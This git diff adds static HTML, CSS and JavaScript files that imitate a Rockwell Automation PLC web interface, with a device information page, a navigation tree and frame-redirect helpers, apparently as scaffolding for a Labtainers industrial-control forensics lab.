a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home.html new file mode 100644 index 000000000..a35d85b3b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home.html new file mode 100644 index 000000000..9a85ea5a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + +
Home
+ + + + + + + +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Device Name
Device Description
Device Location
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Product Revision0.000 Build 0
Firmware Version DateMar 13 2013, 09:49:27
Serial Number00000000
StatusIdle
Uptime00h:27m:31s

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Resources
 
 
Contacts

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/home_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity.html new file mode 100644 index 000000000..5beb95eb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity.html new file mode 100644 index 000000000..b05449864 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/identity_files/identity.html @@ -0,0 +1,87 @@ + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + +
Name and Contact + Information
Device Name
Device Description
Device Location
Contact Info
Contact Info

